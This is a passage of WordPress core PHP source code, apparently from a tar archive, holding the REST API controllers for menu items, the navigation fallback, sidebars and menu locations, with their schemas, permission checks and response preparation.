'protected_title_format' ) ); } if ( rest_is_field_included( 'status', $fields ) ) { $data['status'] = $menu_item->post_status; } if ( rest_is_field_included( 'url', $fields ) ) { $data['url'] = $menu_item->url; } if ( rest_is_field_included( 'attr_title', $fields ) ) { // Same as post_excerpt. $data['attr_title'] = $menu_item->attr_title; } if ( rest_is_field_included( 'description', $fields ) ) { // Same as post_content. $data['description'] = $menu_item->description; } if ( rest_is_field_included( 'type', $fields ) ) { $data['type'] = $menu_item->type; } if ( rest_is_field_included( 'type_label', $fields ) ) { $data['type_label'] = $menu_item->type_label; } if ( rest_is_field_included( 'object', $fields ) ) { $data['object'] = $menu_item->object; } if ( rest_is_field_included( 'object_id', $fields ) ) { // It is stored as a string, but should be exposed as an integer. $data['object_id'] = absint( $menu_item->object_id ); } if ( rest_is_field_included( 'parent', $fields ) ) { // Same as post_parent, exposed as an integer. $data['parent'] = (int) $menu_item->menu_item_parent; } if ( rest_is_field_included( 'menu_order', $fields ) ) { // Same as post_parent, exposed as an integer. $data['menu_order'] = (int) $menu_item->menu_order; } if ( rest_is_field_included( 'target', $fields ) ) { $data['target'] = $menu_item->target; } if ( rest_is_field_included( 'classes', $fields ) ) { $data['classes'] = (array) $menu_item->classes; } if ( rest_is_field_included( 'xfn', $fields ) ) { $data['xfn'] = array_map( 'sanitize_html_class', explode( ' ', $menu_item->xfn ) ); } if ( rest_is_field_included( 'invalid', $fields ) ) { $data['invalid'] = (bool) $menu_item->_invalid; } if ( rest_is_field_included( 'meta', $fields ) ) { $data['meta'] = $this->meta->get_value( $menu_item->ID, $request ); } $taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) ); foreach ( $taxonomies as $taxonomy ) { $base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name; if ( rest_is_field_included( $base, $fields ) ) { $terms = get_the_terms( $item, $taxonomy->name ); if ( ! is_array( $terms ) ) { continue; } $term_ids = $terms ? array_values( wp_list_pluck( $terms, 'term_id' ) ) : array(); if ( 'nav_menu' === $taxonomy->name ) { $data[ $base ] = $term_ids ? array_shift( $term_ids ) : 0; } else { $data[ $base ] = $term_ids; } } } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); // Wrap the data in a response object. $response = rest_ensure_response( $data ); $links = $this->prepare_links( $item ); $response->add_links( $links ); if ( ! empty( $links['self']['href'] ) ) { $actions = $this->get_available_actions( $item, $request ); $self = $links['self']['href']; foreach ( $actions as $rel ) { $response->add_link( $rel, $self ); } } /** * Filters the menu item data for a REST API response. * * @since 5.9.0 * * @param WP_REST_Response $response The response object. * @param object $menu_item Menu item setup by {@see wp_setup_nav_menu_item()}. * @param WP_REST_Request $request Request object. */ return apply_filters( 'rest_prepare_nav_menu_item', $response, $menu_item, $request ); } /** * Prepares links for the request. * * @since 5.9.0 * * @param WP_Post $post Post object. * @return array Links for the given post. */ protected function prepare_links( $post ) { $links = parent::prepare_links( $post ); $menu_item = $this->get_nav_menu_item( $post->ID ); if ( empty( $menu_item->object_id ) ) { return $links; } $path = ''; $type = ''; $key = $menu_item->type; if ( 'post_type' === $menu_item->type ) { $path = rest_get_route_for_post( $menu_item->object_id ); $type = get_post_type( $menu_item->object_id ); } elseif ( 'taxonomy' === $menu_item->type ) { $path = rest_get_route_for_term( $menu_item->object_id ); $type = get_term_field( 'taxonomy', $menu_item->object_id ); } if ( $path && $type ) { $links['https://api.w.org/menu-item-object'][] = array( 'href' => rest_url( $path ), $key => $type, 'embeddable' => true, ); } return $links; } /** * Retrieve Link Description Objects that should be added to the Schema for the posts collection. * * @since 5.9.0 * * @return array */ protected function get_schema_links() { $links = parent::get_schema_links(); $href = rest_url( "{$this->namespace}/{$this->rest_base}/{id}" ); $links[] = array( 'rel' => 'https://api.w.org/menu-item-object', 'title' => __( 'Get linked object.' ), 'href' => $href, 'targetSchema' => array( 'type' => 'object', 'properties' => array( 'object' => array( 'type' => 'integer', ), ), ), ); return $links; } /** * Retrieves the term's schema, conforming to JSON Schema. * * @since 5.9.0 * * @return array Item schema data. */ public function get_item_schema() { $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => $this->post_type, 'type' => 'object', ); $schema['properties']['title'] = array( 'description' => __( 'The title for the object.' ), 'type' => array( 'string', 'object' ), 'context' => array( 'view', 'edit', 'embed' ), 'properties' => array( 'raw' => array( 'description' => __( 'Title for the object, as it exists in the database.' ), 'type' => 'string', 'context' => array( 'edit' ), ), 'rendered' => array( 'description' => __( 'HTML title for the object, transformed for display.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), ), ); $schema['properties']['id'] = array( 'description' => __( 'Unique identifier for the object.' ), 'type' => 'integer', 'default' => 0, 'minimum' => 0, 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ); $schema['properties']['type_label'] = array( 'description' => __( 'Name of type.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ); $schema['properties']['type'] = array( 'description' => __( 'The family of objects originally represented, such as "post_type" or "taxonomy".' ), 'type' => 'string', 'enum' => array( 'taxonomy', 'post_type', 'post_type_archive', 'custom' ), 'context' => array( 'view', 'edit', 'embed' ), 'default' => 'custom', ); $schema['properties']['status'] = array( 'description' => __( 'A named status for the object.' ), 'type' => 'string', 'enum' => array_keys( get_post_stati( array( 'internal' => false ) ) ), 'default' => 'publish', 'context' => array( 'view', 'edit', 'embed' ), ); $schema['properties']['parent'] = array( 'description' => __( 'The ID for the parent of the object.' ), 'type' => 'integer', 'minimum' => 0, 'default' => 0, 'context' => array( 'view', 'edit', 'embed' ), ); $schema['properties']['attr_title'] = array( 'description' => __( 'Text for the title attribute of the link element for this menu item.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ); $schema['properties']['classes'] = array( 'description' => __( 'Class names for the link element of this menu item.' ), 'type' => 'array', 'items' => array( 'type' => 'string', ), 'context' => array( 'view', 'edit', 'embed' ), 'arg_options' => array( 'sanitize_callback' => function ( $value ) { return array_map( 'sanitize_html_class', wp_parse_list( $value ) ); }, ), ); $schema['properties']['description'] = array( 'description' => __( 'The description of this menu item.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ); $schema['properties']['menu_order'] = array( 'description' => __( 'The DB ID of the nav_menu_item that is this item\'s menu parent, if any, otherwise 0.' ), 'context' => array( 'view', 'edit', 'embed' ), 'type' => 'integer', 'minimum' => 1, 'default' => 1, ); $schema['properties']['object'] = array( 'description' => __( 'The type of object originally represented, such as "category", "post", or "attachment".' ), 'context' => array( 'view', 'edit', 'embed' ), 'type' => 'string', 'arg_options' => array( 'sanitize_callback' => 'sanitize_key', ), ); $schema['properties']['object_id'] = array( 'description' => __( 'The database ID of the original object this menu item represents, for example the ID for posts or the term_id for categories.' ), 'context' => array( 'view', 'edit', 'embed' ), 'type' => 'integer', 'minimum' => 0, 'default' => 0, ); $schema['properties']['target'] = array( 'description' => __( 'The target attribute of the link element for this menu item.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'enum' => array( '_blank', '', ), ); $schema['properties']['type_label'] = array( 'description' => __( 'The singular label used to describe this type of menu item.' ), 'context' => array( 'view', 'edit', 'embed' ), 'type' => 'string', 'readonly' => true, ); $schema['properties']['url'] = array( 'description' => __( 'The URL to which this menu item points.' ), 'type' => 'string', 'format' => 'uri', 'context' => array( 'view', 'edit', 'embed' ), 'arg_options' => array( 'validate_callback' => static function ( $url ) { if ( '' === $url ) { return true; } if ( esc_url_raw( $url ) ) { return true; } return new WP_Error( 'rest_invalid_url', __( 'Invalid URL.' ) ); }, ), ); $schema['properties']['xfn'] = array( 'description' => __( 'The XFN relationship expressed in the link of this menu item.' ), 'type' => 'array', 'items' => array( 'type' => 'string', ), 'context' => array( 'view', 'edit', 'embed' ), 'arg_options' => array( 'sanitize_callback' => function ( $value ) { return array_map( 'sanitize_html_class', wp_parse_list( $value ) ); }, ), ); $schema['properties']['invalid'] = array( 'description' => __( 'Whether the menu item represents an object that no longer exists.' ), 'context' => array( 'view', 'edit', 'embed' ), 'type' => 'boolean', 'readonly' => true, ); $taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) ); foreach ( $taxonomies as $taxonomy ) { $base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name; $schema['properties'][ $base ] = array( /* translators: %s: taxonomy name */ 'description' => sprintf( __( 'The terms assigned to the object in the %s taxonomy.' ), $taxonomy->name ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), 'context' => array( 'view', 'edit' ), ); if ( 'nav_menu' === $taxonomy->name ) { $schema['properties'][ $base ]['type'] = 'integer'; unset( $schema['properties'][ $base ]['items'] ); } } $schema['properties']['meta'] = $this->meta->get_field_schema(); $schema_links = $this->get_schema_links(); if ( $schema_links ) { $schema['links'] = $schema_links; } return $this->add_additional_fields_schema( $schema ); } /** * Retrieves the query params for the posts collection. * * @since 5.9.0 * * @return array Collection parameters. */ public function get_collection_params() { $query_params = parent::get_collection_params(); $query_params['menu_order'] = array( 'description' => __( 'Limit result set to posts with a specific menu_order value.' ), 'type' => 'integer', ); $query_params['order'] = array( 'description' => __( 'Order sort attribute ascending or descending.' ), 'type' => 'string', 'default' => 'asc', 'enum' => array( 'asc', 'desc' ), ); $query_params['orderby'] = array( 'description' => __( 'Sort collection by object attribute.' ), 'type' => 'string', 'default' => 'menu_order', 'enum' => array( 'author', 'date', 'id', 'include', 'modified', 'parent', 'relevance', 'slug', 'include_slugs', 'title', 'menu_order', ), ); // Change default to 100 items. $query_params['per_page']['default'] = 100; return $query_params; } /** * Determines the allowed query_vars for a get_items() response and prepares * them for WP_Query. * * @since 5.9.0 * * @param array $prepared_args Optional. Prepared WP_Query arguments. Default empty array. * @param WP_REST_Request $request Optional. Full details about the request. * @return array Items query arguments. */ protected function prepare_items_query( $prepared_args = array(), $request = null ) { $query_args = parent::prepare_items_query( $prepared_args, $request ); // Map to proper WP_Query orderby param. if ( isset( $query_args['orderby'], $request['orderby'] ) ) { $orderby_mappings = array( 'id' => 'ID', 'include' => 'post__in', 'slug' => 'post_name', 'include_slugs' => 'post_name__in', 'menu_order' => 'menu_order', ); if ( isset( $orderby_mappings[ $request['orderby'] ] ) ) { $query_args['orderby'] = $orderby_mappings[ $request['orderby'] ]; } } return $query_args; } /** * Gets the id of the menu that the given menu item belongs to. * * @since 5.9.0 * * @param int $menu_item_id Menu item id. * @return int */ protected function get_menu_id( $menu_item_id ) { $menu_ids = wp_get_post_terms( $menu_item_id, 'nav_menu', array( 'fields' => 'ids' ) ); $menu_id = 0; if ( $menu_ids && ! is_wp_error( $menu_ids ) ) { $menu_id = array_shift( $menu_ids ); } return $menu_id; } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php���������������������������������0000644�����������������00000012063�14717703502�0021573 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * WP_REST_Navigation_Fallback_Controller class * * REST Controller to create/fetch a fallback Navigation Menu. * * @package WordPress * @subpackage REST_API * @since 6.3.0 */ /** * REST Controller to fetch a fallback Navigation Block Menu. If needed it creates one. * * @since 6.3.0 */ class WP_REST_Navigation_Fallback_Controller extends WP_REST_Controller { /** * The Post Type for the Controller * * @since 6.3.0 * * @var string */ private $post_type; /** * Constructs the controller. * * @since 6.3.0 */ public function __construct() { $this->namespace = 'wp-block-editor/v1'; $this->rest_base = 'navigation-fallback'; $this->post_type = 'wp_navigation'; } /** * Registers the controllers routes. * * @since 6.3.0 */ public function register_routes() { // Lists a single nav item based on the given id or slug. register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::READABLE ), ), 'schema' => array( $this, 'get_item_schema' ), ) ); } /** * Checks if a given request has access to read fallbacks. * * @since 6.3.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_item_permissions_check( $request ) { $post_type = get_post_type_object( $this->post_type ); // Getting fallbacks requires creating and reading `wp_navigation` posts. if ( ! current_user_can( $post_type->cap->create_posts ) || ! current_user_can( 'edit_theme_options' ) || ! current_user_can( 'edit_posts' ) ) { return new WP_Error( 'rest_cannot_create', __( 'Sorry, you are not allowed to create Navigation Menus as this user.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( 'edit' === $request['context'] && ! current_user_can( $post_type->cap->edit_posts ) ) { return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to edit Navigation Menus as this user.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Gets the most appropriate fallback Navigation Menu. * * @since 6.3.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { $post = WP_Navigation_Fallback::get_fallback(); if ( empty( $post ) ) { return rest_ensure_response( new WP_Error( 'no_fallback_menu', __( 'No fallback menu found.' ), array( 'status' => 404 ) ) ); } $response = $this->prepare_item_for_response( $post, $request ); return $response; } /** * Retrieves the fallbacks' schema, conforming to JSON Schema. * * @since 6.3.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $this->schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'navigation-fallback', 'type' => 'object', 'properties' => array( 'id' => array( 'description' => __( 'The unique identifier for the Navigation Menu.' ), 'type' => 'integer', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), ), ); return $this->add_additional_fields_schema( $this->schema ); } /** * Matches the post data to the schema we want. * * @since 6.3.0 * * @param WP_Post $item The wp_navigation Post object whose response is being prepared. * @param WP_REST_Request $request Request object. * @return WP_REST_Response $response The response data. */ public function prepare_item_for_response( $item, $request ) { $data = array(); $fields = $this->get_fields_for_response( $request ); if ( rest_is_field_included( 'id', $fields ) ) { $data['id'] = (int) $item->ID; } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); $response = rest_ensure_response( $data ); if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) { $links = $this->prepare_links( $item ); $response->add_links( $links ); } return $response; } /** * Prepares the links for the request. * * @since 6.3.0 * * @param WP_Post $post the Navigation Menu post object. * @return array Links for the given request. */ private function prepare_links( $post ) { return array( 'self' => array( 'href' => rest_url( rest_get_route_for_post( $post->ID ) ), 'embeddable' => true, ), ); } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������rest-api/endpoints/class-wp-rest-sidebars-controller.php��������������������������������������������0000644�����������������00000036262�14717703502�0017502 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * REST API: WP_REST_Sidebars_Controller class * * Original code from {@link https://github.com/martin-pettersson/wp-rest-api-sidebars Martin Pettersson (martin_pettersson@outlook.com)}. * * @package WordPress * @subpackage REST_API * @since 5.8.0 */ /** * Core class used to manage a site's sidebars. * * @since 5.8.0 * * @see WP_REST_Controller */ class WP_REST_Sidebars_Controller extends WP_REST_Controller { /** * Tracks whether {@see retrieve_widgets()} has been called in the current request. * * @since 5.9.0 * @var bool */ protected $widgets_retrieved = false; /** * Sidebars controller constructor. * * @since 5.8.0 */ public function __construct() { $this->namespace = 'wp/v2'; $this->rest_base = 'sidebars'; } /** * Registers the controllers routes. * * @since 5.8.0 */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P<id>[\w-]+)', array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => array( 'id' => array( 'description' => __( 'The id of a registered sidebar' ), 'type' => 'string', ), 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), array( 'methods' => WP_REST_Server::EDITABLE, 'callback' => array( $this, 'update_item' ), 'permission_callback' => array( $this, 'update_item_permissions_check' ), 'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks if a given request has access to get sidebars. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { $this->retrieve_widgets(); foreach ( wp_get_sidebars_widgets() as $id => $widgets ) { $sidebar = $this->get_sidebar( $id ); if ( ! $sidebar ) { continue; } if ( $this->check_read_permission( $sidebar ) ) { return true; } } return $this->do_permissions_check(); } /** * Retrieves the list of sidebars (active or inactive). * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response Response object on success. */ public function get_items( $request ) { $this->retrieve_widgets(); $data = array(); $permissions_check = $this->do_permissions_check(); foreach ( wp_get_sidebars_widgets() as $id => $widgets ) { $sidebar = $this->get_sidebar( $id ); if ( ! $sidebar ) { continue; } if ( is_wp_error( $permissions_check ) && ! $this->check_read_permission( $sidebar ) ) { continue; } $data[] = $this->prepare_response_for_collection( $this->prepare_item_for_response( $sidebar, $request ) ); } return rest_ensure_response( $data ); } /** * Checks if a given request has access to get a single sidebar. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_item_permissions_check( $request ) { $this->retrieve_widgets(); $sidebar = $this->get_sidebar( $request['id'] ); if ( $sidebar && $this->check_read_permission( $sidebar ) ) { return true; } return $this->do_permissions_check(); } /** * Checks if a sidebar can be read publicly. * * @since 5.9.0 * * @param array $sidebar The registered sidebar configuration. * @return bool Whether the side can be read. */ protected function check_read_permission( $sidebar ) { return ! empty( $sidebar['show_in_rest'] ); } /** * Retrieves one sidebar from the collection. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { $this->retrieve_widgets(); $sidebar = $this->get_sidebar( $request['id'] ); if ( ! $sidebar ) { return new WP_Error( 'rest_sidebar_not_found', __( 'No sidebar exists with that id.' ), array( 'status' => 404 ) ); } return $this->prepare_item_for_response( $sidebar, $request ); } /** * Checks if a given request has access to update sidebars. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function update_item_permissions_check( $request ) { return $this->do_permissions_check(); } /** * Updates a sidebar. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response Response object on success, or WP_Error object on failure. */ public function update_item( $request ) { if ( isset( $request['widgets'] ) ) { $sidebars = wp_get_sidebars_widgets(); foreach ( $sidebars as $sidebar_id => $widgets ) { foreach ( $widgets as $i => $widget_id ) { // This automatically removes the passed widget IDs from any other sidebars in use. if ( $sidebar_id !== $request['id'] && in_array( $widget_id, $request['widgets'], true ) ) { unset( $sidebars[ $sidebar_id ][ $i ] ); } // This automatically removes omitted widget IDs to the inactive sidebar. if ( $sidebar_id === $request['id'] && ! in_array( $widget_id, $request['widgets'], true ) ) { $sidebars['wp_inactive_widgets'][] = $widget_id; } } } $sidebars[ $request['id'] ] = $request['widgets']; wp_set_sidebars_widgets( $sidebars ); } $request['context'] = 'edit'; $sidebar = $this->get_sidebar( $request['id'] ); /** * Fires after a sidebar is updated via the REST API. * * @since 5.8.0 * * @param array $sidebar The updated sidebar. * @param WP_REST_Request $request Request object. */ do_action( 'rest_save_sidebar', $sidebar, $request ); return $this->prepare_item_for_response( $sidebar, $request ); } /** * Checks if the user has permissions to make the request. * * @since 5.8.0 * * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ protected function do_permissions_check() { // Verify if the current user has edit_theme_options capability. // This capability is required to access the widgets screen. if ( ! current_user_can( 'edit_theme_options' ) ) { return new WP_Error( 'rest_cannot_manage_widgets', __( 'Sorry, you are not allowed to manage widgets on this site.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Retrieves the registered sidebar with the given id. * * @since 5.8.0 * * @param string|int $id ID of the sidebar. * @return array|null The discovered sidebar, or null if it is not registered. */ protected function get_sidebar( $id ) { return wp_get_sidebar( $id ); } /** * Looks for "lost" widgets once per request. * * @since 5.9.0 * * @see retrieve_widgets() */ protected function retrieve_widgets() { if ( ! $this->widgets_retrieved ) { retrieve_widgets(); $this->widgets_retrieved = true; } } /** * Prepares a single sidebar output for response. * * @since 5.8.0 * @since 5.9.0 Renamed `$raw_sidebar` to `$item` to match parent class for PHP 8 named parameter support. * * @global array $wp_registered_sidebars The registered sidebars. * @global array $wp_registered_widgets The registered widgets. * * @param array $item Sidebar instance. * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response Prepared response object. */ public function prepare_item_for_response( $item, $request ) { global $wp_registered_sidebars, $wp_registered_widgets; // Restores the more descriptive, specific name for use within this method. $raw_sidebar = $item; $id = $raw_sidebar['id']; $sidebar = array( 'id' => $id ); if ( isset( $wp_registered_sidebars[ $id ] ) ) { $registered_sidebar = $wp_registered_sidebars[ $id ]; $sidebar['status'] = 'active'; $sidebar['name'] = isset( $registered_sidebar['name'] ) ? $registered_sidebar['name'] : ''; $sidebar['description'] = isset( $registered_sidebar['description'] ) ? wp_sidebar_description( $id ) : ''; $sidebar['class'] = isset( $registered_sidebar['class'] ) ? $registered_sidebar['class'] : ''; $sidebar['before_widget'] = isset( $registered_sidebar['before_widget'] ) ? $registered_sidebar['before_widget'] : ''; $sidebar['after_widget'] = isset( $registered_sidebar['after_widget'] ) ? $registered_sidebar['after_widget'] : ''; $sidebar['before_title'] = isset( $registered_sidebar['before_title'] ) ? $registered_sidebar['before_title'] : ''; $sidebar['after_title'] = isset( $registered_sidebar['after_title'] ) ? $registered_sidebar['after_title'] : ''; } else { $sidebar['status'] = 'inactive'; $sidebar['name'] = $raw_sidebar['name']; $sidebar['description'] = ''; $sidebar['class'] = ''; } $fields = $this->get_fields_for_response( $request ); if ( rest_is_field_included( 'widgets', $fields ) ) { $sidebars = wp_get_sidebars_widgets(); $widgets = array_filter( isset( $sidebars[ $sidebar['id'] ] ) ? $sidebars[ $sidebar['id'] ] : array(), static function ( $widget_id ) use ( $wp_registered_widgets ) { return isset( $wp_registered_widgets[ $widget_id ] ); } ); $sidebar['widgets'] = array_values( $widgets ); } $schema = $this->get_item_schema(); $data = array(); foreach ( $schema['properties'] as $property_id => $property ) { if ( isset( $sidebar[ $property_id ] ) && true === rest_validate_value_from_schema( $sidebar[ $property_id ], $property ) ) { $data[ $property_id ] = $sidebar[ $property_id ]; } elseif ( isset( $property['default'] ) ) { $data[ $property_id ] = $property['default']; } } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); $response = rest_ensure_response( $data ); $response->add_links( $this->prepare_links( $sidebar ) ); /** * Filters the REST API response for a sidebar. * * @since 5.8.0 * * @param WP_REST_Response $response The response object. * @param array $raw_sidebar The raw sidebar data. * @param WP_REST_Request $request The request object. */ return apply_filters( 'rest_prepare_sidebar', $response, $raw_sidebar, $request ); } /** * Prepares links for the sidebar. * * @since 5.8.0 * * @param array $sidebar Sidebar. * @return array Links for the given widget. */ protected function prepare_links( $sidebar ) { return array( 'collection' => array( 'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ), ), 'self' => array( 'href' => rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $sidebar['id'] ) ), ), 'https://api.w.org/widget' => array( 'href' => add_query_arg( 'sidebar', $sidebar['id'], rest_url( '/wp/v2/widgets' ) ), 'embeddable' => true, ), ); } /** * Retrieves the block type' schema, conforming to JSON Schema. * * @since 5.8.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'sidebar', 'type' => 'object', 'properties' => array( 'id' => array( 'description' => __( 'ID of sidebar.' ), 'type' => 'string', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'name' => array( 'description' => __( 'Unique name identifying the sidebar.' ), 'type' => 'string', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'description' => array( 'description' => __( 'Description of sidebar.' ), 'type' => 'string', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'class' => array( 'description' => __( 'Extra CSS class to assign to the sidebar in the Widgets interface.' ), 'type' => 'string', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'before_widget' => array( 'description' => __( 'HTML content to prepend to each widget\'s HTML output when assigned to this sidebar. Default is an opening list item element.' ), 'type' => 'string', 'default' => '', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'after_widget' => array( 'description' => __( 'HTML content to append to each widget\'s HTML output when assigned to this sidebar. Default is a closing list item element.' ), 'type' => 'string', 'default' => '', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'before_title' => array( 'description' => __( 'HTML content to prepend to the sidebar title when displayed. Default is an opening h2 element.' ), 'type' => 'string', 'default' => '', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'after_title' => array( 'description' => __( 'HTML content to append to the sidebar title when displayed. Default is a closing h2 element.' ), 'type' => 'string', 'default' => '', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'status' => array( 'description' => __( 'Status of sidebar.' ), 'type' => 'string', 'enum' => array( 'active', 'inactive' ), 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'widgets' => array( 'description' => __( 'Nested widgets.' ), 'type' => 'array', 'items' => array( 'type' => array( 'object', 'string' ), ), 'default' => array(), 'context' => array( 'embed', 'view', 'edit' ), ), ), ); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������rest-api/endpoints/class-wp-rest-menu-locations-controller.php��������������������������������������0000644�����������������00000020332�14717703502�0020632 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * REST API: WP_REST_Menu_Locations_Controller class * * @package WordPress * @subpackage REST_API * @since 5.9.0 */ /** * Core class used to access menu locations via the REST API. * * @since 5.9.0 * * @see WP_REST_Controller */ class WP_REST_Menu_Locations_Controller extends WP_REST_Controller { /** * Menu Locations Constructor. * * @since 5.9.0 */ public function __construct() { $this->namespace = 'wp/v2'; $this->rest_base = 'menu-locations'; } /** * Registers the routes for the objects of the controller. * * @since 5.9.0 * * @see register_rest_route() */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P<location>[\w-]+)', array( 'args' => array( 'location' => array( 'description' => __( 'An alphanumeric identifier for the menu location.' ), 'type' => 'string', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks whether a given request has permission to read menu locations. * * @since 5.9.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_Error|bool True if the request has read access, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { if ( ! current_user_can( 'edit_theme_options' ) ) { return new WP_Error( 'rest_cannot_view', __( 'Sorry, you are not allowed to view menu locations.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Retrieves all menu locations, depending on user context. * * @since 5.9.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_Error|WP_REST_Response Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { $data = array(); foreach ( get_registered_nav_menus() as $name => $description ) { $location = new stdClass(); $location->name = $name; $location->description = $description; $location = $this->prepare_item_for_response( $location, $request ); $data[ $name ] = $this->prepare_response_for_collection( $location ); } return rest_ensure_response( $data ); } /** * Checks if a given request has access to read a menu location. * * @since 5.9.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_Error|bool True if the request has read access for the item, WP_Error object otherwise. */ public function get_item_permissions_check( $request ) { if ( ! current_user_can( 'edit_theme_options' ) ) { return new WP_Error( 'rest_cannot_view', __( 'Sorry, you are not allowed to view menu locations.' 